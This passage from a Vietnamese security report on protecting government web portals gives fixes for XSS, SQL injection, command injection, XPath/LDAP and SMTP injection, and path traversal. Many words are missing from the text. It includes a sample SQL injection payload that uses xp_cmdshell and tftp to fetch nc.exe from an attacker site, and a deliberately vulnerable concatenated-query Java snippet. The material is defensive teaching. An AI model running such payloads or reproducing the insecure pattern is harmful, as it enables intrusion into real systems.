mục - Việc xác định định danh tài nguyên mà người dùng muốn truy cập dễ bị can thiệp chúng truyền qua client Do máy chủ cần tin tưởng vào liệu đáng tin từ phía máy chủ Còn liệu qua client cần xác định lại để người dùng quyền truy cập vào tài nguyên họ yêu cầu 347 - Cần ghi log lại kiện nơi mà liệu nhạy cảm bị truy cập hành động nhạy cảm thực Các tệp tin log giúp ích cho việc phân tích điều tra khắc phục cố sau 11.6.7 Khắc phục lỗ hổng XSS 11.6.7.1 Ngăn chặn Reflected Stored XSS Nguyên nhân gây lỗi reflected stored XSS liệu người dùng điều khiển chép vào phần hồi đáp ứng dụng mà không thông qua việc lọc kiểm tra Và liệu chèn mã nguồn dạng HTML nên liệu độc hại tương tác, thay đổi nội dung, cấu trúc, thực chèn mã script, … Để loại trừ lỗi reflected stored XSS cần xác định điểm mà liệu người dùng nhập vào lưu trữ máy chủ Sau thực bước sau để loại trừ khả dính lỗi reflected stored XSS: - Xác nhận tính hợp lệ liệu đầu vào - Xác nhận tính hợp lệ liệu đầu - Loại bỏ điểm chèn nguy hiểm a Xác nhận tính hợp lệ liệu đầu vào Tại đây, trình ứng dụng web nhận liệu người dùng nhập vào lưu vào sở liệu Do ta kiểm tra liệu nhập vào đáng nghi cần loại bỏ ra, bao gồm: - Các liệu không dài - Các liệu chứa thiết lập cho phép ký tự - Các liệu có chứa biểu thức quy b Xác nhận tính hợp lệ liệu đầu Trong trường hợp này, cần đảm bảo trình duyệt xử lý ký tự có nguy gây nguy hại cho người dùng cách an toàn Hướng thông tin hiển thị cho người dùng văn HTML bình thường cấu trúc HTML Để làm điều này, cần kiểm tra lọc kiểu mã hóa HTML như: 348 “ ‘ & < > " ' & < > Ngoài kiểu mã hóa trên, sử dụng mã hóa ký tự ASCII sau: % * % * Đối với ứng dụng viết ASP dùng hàm API Server.HTMLEncode để xử lý ký tự nguy hiểm trước chuyển vào sở liệu ứng dụng Hàm API chuyển đổi ký tự dùng thành dạng nguyên mà không gây nguy hại cho người dùng Đối với ngôn ngữ Java, viết hàm xử lý ký tự mã hóa kiểu như: public static String HTMLEncode(String s) { StringBuffer out = new StringBuffer(); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); if(c > 0x7f || c==’“‘ || c==’&‘ || c==’’) out.append(“&#“ + (int) c + “;”); else out.append(c); } return out.toString(); } c Loại bỏ điểm chèn nguy hiểm Có vài điểm chèn liệu vào ứng dụng gây nguy hại cho ứng dụng người dùng Thứ nhất, việc chèn trực tiếp liệu người dùng điều khiển vào ứng dụng thông qua đoạn mã javascript Có thể khiến cho tin tặc lợi dụng để thực thi hành động có hại Thứ hai, nơi mà liệu người dùng nhập vào thực thi trực tiếp lệnh Javascript như: 349 Trong đoạn mã trên, người công trực tiếp chèn mã javascript công bên dấu ngoặc kép Và chức lọc ký tự đặc biệt trình duyệt tác dụng Để khắc phục tình trên, trình ứng dụng cần đặc tả phương thức mã hóa rõ ràng header hồi đáp nó, vô hiệu hóa chỉnh sửa liệu nào, chắn lọc XSS tương thích với phương thức đặc tả Một ví dụ: Content-Type: text/html; charset=ISO-8859-1 6.7.1.2 Ngăn chặn DOM-base XSS DOM-base XSS ngăn chặn hai cách, kiểm tra xác nhận kỹ lưỡng liệu người dùng nhập vào liệu hồi đáp lấy sở liệu để xuất phía người dùng tương tự mô tả trên: a Xác nhận điểm nhập liệu Có thể ngăn chặn công DOM-base cách kiểm tra liệu chèn vào văn cho phép ký tự abc khoảng trắng chèn Dưới đoạn mã ví dụ: var a = document.URL; a = a.substring(a.indexOf(“message=”) + 8, a.length); a = unescape(a); var regex=/^([A-Za-z0-9+\s])*$/; if (regex.test(a)) document.write(a); Ngoài cần kiểm tra kỹ trường hợp liệu phát sinh từ máy chủ như: - Các truy vấn chứa tham số đơn - Các tham số có tên “message” - Các tham số mà giá trị chứa ký tự abc 350 b Xác nhận đầu liệu Trình ứng dụng nên sử dụng kiểu mã hóa HTML đề cập phần reflected XSS cho liệu DOM mà người dùng điều khiển trước liệu chèn vào văn Bên cạnh tăng cường thêm cho tính mã hóa HTML hàm sau: function sanitize(str) { var d = document.createElement(‘div’); d.appendChild(document.createTextNode(str)); return d.innerHTML; } 11.6.8 Khắc phục lỗi SQL Injection Mặc dù ảnh hưởng lỗi SQL Injection lớn, nhiên có nhiều cách để ngăn chặn 11.6.8.1 Các biện pháp khắc phục chủ yếu Bởi nguyên nhân gây lỗi SQL thường không xử lý kỹ dấu nháy đơn, cần bao các dấu nháy đơn liệu người dùng nhập vào cách nhân đôi lên Tuy nhiên cách tác dụng hai tình sau: - Nếu liệu người dùng nhập vào dạng số chuẩn bị đưa vào câu truy vấn SQL, liệu thường không bao dấu nháy đơn, kẻ công lợi dụng để chèn vào câu truy vấn khai thác lỗi mà không cần sử dụng dấu nháy đơn - Trong số trường hợp, liệu bao an toàn khởi tạo chèn vào sở liệu sau lại đọc ngược từ sở liệu để thực thi, dấu nháy đơn nhân đôi đi, liệu lại trở với nguyên dạng ban đầu liệu tái sử dụng Một biện pháp thường dùng sử dụng thủ tục lưu trữ cho tất truy cập vào sở liệu Ở nghi ngờ tùy chỉnh thủ tục lưu trữ mang đến giải pháp bảo mật tăng hiệu 351 hoạt động, nhiên chúng không đảm bảo ngăn chặn hết lỗi SQL Injection hai lý do: - Vì với thủ tục lưu trữ lập trình kém, dẫn đến tổn thương SQL Injection mã nguồn Tương tự vấn đề bảo mật phát sinh xây dựng câu lệnh SQL thủ tục lưu trữ nơi khác, thực tế thủ tục lưu trữ không ngăn chặn lỗ hỗng từ nơi phát sinh lỗi - Ngay thủ tục lưu trữ mạnh sử dụng lỗ hổng SQL Injection phát sinh gọi không an toàn từ việc xử lý liệu người dùng nhập vào Ví dụ có hàm đăng ký người dùng thực thi bên thủ tục lưu trữ sau: exec sp_RegisterUser ‘joe’, ‘secret’ Câu lệnh bị lỗi giống câu lệnh INSERT đơn giản, tin tặc thực khai thác sau: foo’; exec master xp_cmdshell ‘tftp site-tan-cong.com GET nc.exe’ Khi câu truy vấn thành: exec sp_RegisterUser ‘joe’, ‘foo’; exec master xp_cmdshell ‘tftp sitetan-cong.com GET nc.exe’ ‘ Thủ tục lưu trữ không tác dụng Với ứng dụng lớn phức tạp với hàng ngàn câu truy vấn SQL giải pháp viết câu lệnh thủ tục lưu trữ phát triển ứng dụng 11.6.8.2 Tham số hóa câu truy vấn Hầu hết sở liệu phát triển ứng dụng cung cấp hàm API để lọc liệu không mong muốn nhằm ngăn chặn lỗi SQL Injection Trong việc tham số hóa truy vấn, cách xây dựng câu lệnh SQL chứa liệu người dùng nhập vào thực qua hai bước: - Trình ứng dụng định rõ cấu trúc câu truy vấn, tạo mục để xử lý liệu người dùng nhập vào 352 - Trình ứng dụng định rõ nỗi dung mục Theo đó, cách để để liệu nguy hiểm định bước lại cản can thiệp vào cấu trúc truy vấn định bước Bởi cấu trúc truy vấn định nghĩa, hàm API liên quan nắm giữ mục liệu theo cách an toàn Vì hiểu liệu cấu trúc câu lệnh truy vấn Ví dụ cho thấy khác câu truy vấn động không an toàn xây dựng bên liệu người dùng tham số hóa: Đoạn mã thứ bị lỗi SQL Injection tham số name //Định nghĩa cấu trúc truy vấn String queryText = “select ename,sal from emp where ename =’“; //Nối tên (name) người dùng cung cấp queryText += request.getParameter(“name”); queryText += “‘“; // Thực thi câu truy vấn stmt = con.createStatement(); rs = stmt.executeQuery(queryText); Đoạn mã thứ hai, cấu trúc truy vấn định nghĩa cách sử dụng dấu hỏi mục để chứa tham số người dùng cung cấp Phương thức prepareStatement gọi để giải thích điều cố định cấu trúc cấu truy vấn thực thi Bởi phương thức setString sử dụng để đặc tả giá trị thật tham số cấu trúc câu truy vấn cố định, giá trị chứa liệu không ảnh hưởng đến câu truy vấn, câu truy vấn thực thi an toàn //define the query structure String queryText = “SELECT ename,sal FROM EMP WHERE ename = ?”; //prepare the statement through DB connection “con” stmt = con.prepareStatement(queryText); //add the user input to variable (at the first ? placeholder) stmt.setString(1, request.getParameter(“name”)); // execute the query rs = stmt.executeQuery(); Những điều cần ghi nhớ tham số hóa câu truy vấn: 353 - Việc tham số hóa câu truy vấn áp dụng cho sở liệu - Mọi liệu người dùng nhập vào cần tham số hóa cách Dù có nhiều trường hợp tham số truy vấn xử lý cách an toàn, nhiên có hai liệu nối trực tiếp vào chuỗi tạo nên câu truy vấn làm phát sinh nguy SQL Injection - Các mục nắm giữ liệu người dùng nhập vào không dùng để định bảng cột dùng câu truy vấn 11.6.8.3 Phòng chống SQL Injection theo chiều sâu Phần gốc sở liệu (database back-end) cần bảo vệ để chống lại kiểu công Dưới ba bước để thực điều này: - Trình ứng dụng nên dùng quyền thấp truy cập vào sở liệu, không cần thiết phải dùng quyền DBA hay root - Rất nhiều sở liệu sử dụng số lượng lớn hàm mặc định, có số hàm không cần thiết, vậy, nên vô hiệu hóa hàm không cần thiết để tránh trường hợp hàm có lỗi tin tặc khai thác - Nên cập nhật vá lỗi phiên từ nhà sản xuất cách theo dõi website nhà phát triển 11.6.9 Khắc phục lỗi Operating Command Injection (OSC Inj) Một cách tổng quan, để ngăn chặn OSC Inj cần tránh gọi trực tiếp câu lệnh hệ điều hành Hầu tất nhiệm vụ mà ứng dụng web thực cách gọi hàm API xây dựng sẵn không cần gọi trực tiếp câu lệnh từ hệ điều hành Sẽ nguy hiểm liệu người dùng nhập vào vượt qua lọc thực thi hệ điều hành Do cần có kiểm soát chặt chẽ với liệu kiểu này, xây dựng danh sách để hạn chế người dùng cố ý nhập vào chuỗi giá trị Ngoài ra, đầu vào nên giới hạn 354 ký tự hẹp chữ số Đầu vào chứa kiểu liệu khác siêu ký tự loại bỏ Có thể sử dụng câu lệnh API dựng sẳn để phòng chống OSC Inj Ví dụ Java, có hàm API Runtime.exec ASP.NET có API Process.Start không hỗ trợ siêu ký tự cho phép cần đảm bảo câu lệnh mà người phát triển ứng dụng dự kiến chạy 11.6.10 Khắc phục lỗi Xpath Injection, LDAP Injection Nếu cần thiết phải chèn liệu người dùng nhập vào truy vấn Xpath/LDAP liệu người dùng nhập vào cần kiểm tra thông qua bảng danh sách ký tự cho phép lập nên Trong nên cấm ký tự liên quan đến truy vấn Xpath/LDPA như: ( ) = ‘ [ ] : , * / tất khoảng trắng Những đầu vào không khớp với danh sachs cho phép bị từ chối 11.6.11 Khắc phục lỗi SMTP Injection Cần có lọc để kiểm tra xem có phải biểu thức quy chèn vào thay email hay không (Có thể từ chối ký tự sang dòng nào) Nội dung tiêu đề email nên quy định độ dài không nên chứa ký tự sang dòng Nếu nội dung email sử dụng trực tiếp kết hợp SMTP (SMTP Conversation) dòng chứa dấu chấm đơn nên bị vô hiệu hóa 11.6.12 Khắc phục lỗi lộ đường dẫn quan trọng (path traversal) Cho đến nay, cách hữu hiệu để tránh lỗi path traversal không cho liệu nhạy cảm người dùng nhập vào qua trình ứng dụng API hệ thống Với hầu hết tệp tin không kiểm soát hoàn toàn tệp tin đặt thư mục gốc truy cập cách gọi đường link trực tiếp tệp tin Nếu điều không thể, ứng dụng trì danh sách dùng mã hóa tệp tin sử dụng 355 trang, sử dụng định danh khác (như số thứ tự tệp tin) để định tệp tin yêu cầu, tất yêu cầu chứa định danh không khớp danh sách bị từ chối Trong số tình huống, trình ứng dụng nên dùng số phương pháp tiếp cận theo chiều sâu để tạo số biện pháp cản trở công path traversal Dưới số cách phòng thử thế: - Sau thực giải mã xác nhận liệu người dùng nhập vào, trình ứng dụng nên kiểm tra nội dung liệu có chứa ký tự phục vụ cho việc duyệt cấu trúc thư mục (như dấu gạch chéo hay xiệc ngược) hay không - Trình ứng dụng nên sử dụng bảng danh sách cố định kiểu tệp tin phép từ chối yêu cầu với dạng khác (sau giải mã kiểm tra liệu) - Sau thực việc lọc yêu cầu kiểu tệp tin mà người dùng nhập vào, trình ứng dụng nên dùng hàm API hệ thống phù hợp để đảm bảo việc ổn Và tệp truy cập cách dùng tên tệp tin nằm thư mục bắt đầu định ứng dụng: + Trong Java khởi tạo đối tượng java.io.File sử dụng tên tệp tin người dùng đưa vào sau gọi phương thức getCanonicalPath đối tượng Nếu chuỗi trả không khớp với tên thư mục bắt đầu yêu cầu từ chối + Trong ASP.NET, sử dụng phương thức System.Io.Path.GetFullPath kiểm tra chuỗi trả tương tự bên Java - Trình ứng dụng hạn chế khai thác path traversal cách sử dụng môi trường chrooted để truy cập vào thư mục chứa tệp tin cần gọi Trong trương hợp này, thư mục chooted xử lý thể tệp tin hệ thống gốc Và tất yêu cầu nhằm khai thác lỗi path traversal bị bỏ qua Hệ thống chooted hỗ trợ 356 hầu hết hệ điều hành linux Còn Windows, mount thư mục bắt đầu thành ổ đĩa vật lý sử dụng kết hợp với ký tự ổ đĩa để truy cập nội dung Trình ứng dụng tự chống lại công path traversal cách sử dụng hệ thống ghi log hệ thống cảnh báo Khi yêu cầu mà hệ thống nhận có chứa đoạn mã khai thác đáng nghi liên quan đến path traversal, trình ứng dụng ghi vào log kiện này, tạm thời khóa tài khoản người dùng vừa gởi yêu cầu, đồng thời cảnh báo với người quản trị 357 KẾT LUẬN VÀ KIẾN NGHỊ Kết luận: Việc xây dựng quy trình kiểm tra, phát điểm yếu an toàn thông tin đưa giải pháp đảm bảo an toàn thông tin áp dụng cho cổng thông tin điện tử nói chung cổng thông tin điện tử quan nhà nước nói riêng thực cần thiết Dựa quy trình này, người quản trị hệ thống người quản trị phần mềm cổng thông tin điện tử có tài liệu đầy đủ để thực đánh giá điểm yếu an toàn thông tin cho công thông tin điện tử Đồng thời áp dụng biện pháp đảm bảo an toàn thông tin cho cổng thông tin điện tử Kiến nghị: Các nội dung nghiên cứu đề tài có đưa vào áp dụng thực tế cho công thông tin điện tử nói chung cổng thông tin điện tử quan nhà nước nói riêng Tuy nhiên, để áp dụng cách hiệu nhanh chống cần phải nghiên cứu đưa tài liệu hướng dẫn cụ thể chi tiết hơn, đồng thời phổ biến rộng rãi cho nhiều người biết áp dụng 358

Ngày đăng: 10/10/2016, 14:23

Từ khóa liên quan

Mục lục

  • 1.1. ĐÁNH GIÁ MẠNG RIÊNG ẢO (VPN)

    • 1.1.1. Kiểm tra quét cổng

      • 1.1.1.1. Mô tả

      • 1.1.1.2. Mục đích kiểm tra

      • 1.1.1.3. Quy trình kiểm tra

      • 1.1.1.4. Công cụ kiểm tra

      • 1.1.2. Thu thập dấu vết (Fingerprinting)

        • 1.1.2.1 Mô tả

        • 1.1.2.2. Mục đích kiểm tra

        • 1.1.2.3. Quy trình kiểm tra

        • 1.1.2.4. Công cụ kiểm tra

        • 1.1.3. Kiểm tra khả năng bẻ khóa chia sẻ trước (PSK - Pre-shared key)

          • 1.1.3.1 Mô tả

          • 1.1.3.2. Mục đích kiểm tra

          • 1.1.3.3 Quy trình kiểm tra

          • 1.1.3.4 Công cụ kiểm tra

          • 1.1.4. Kiểm tra đăng nhập với các tài khoản mặc định

            • 1.1.4.1. Mô tả

            • 1.1.4.2. Mục đích kiểm tra

            • 1.1.4.3. Quy trình kiểm tra

            • 1.1.5. Kiểm tra SSL VPN

              • 1.1.5.1. Mô tả

              • 1.1.5.2. Mục đích kiểm tra

              • 1.1.5.3. Quy trình kiểm tra

              • 1.1.5.4. Công cụ kiểm tra

              • 1.2. ĐÁNH GIÁ MẠNG KHÔNG DÂY (WLAN)

                • 1.2.1. Phát hiện điểm truy cập giả mạo

                  • 1.2.1.1. Mô tả

Tài liệu cùng người dùng

Tài liệu liên quan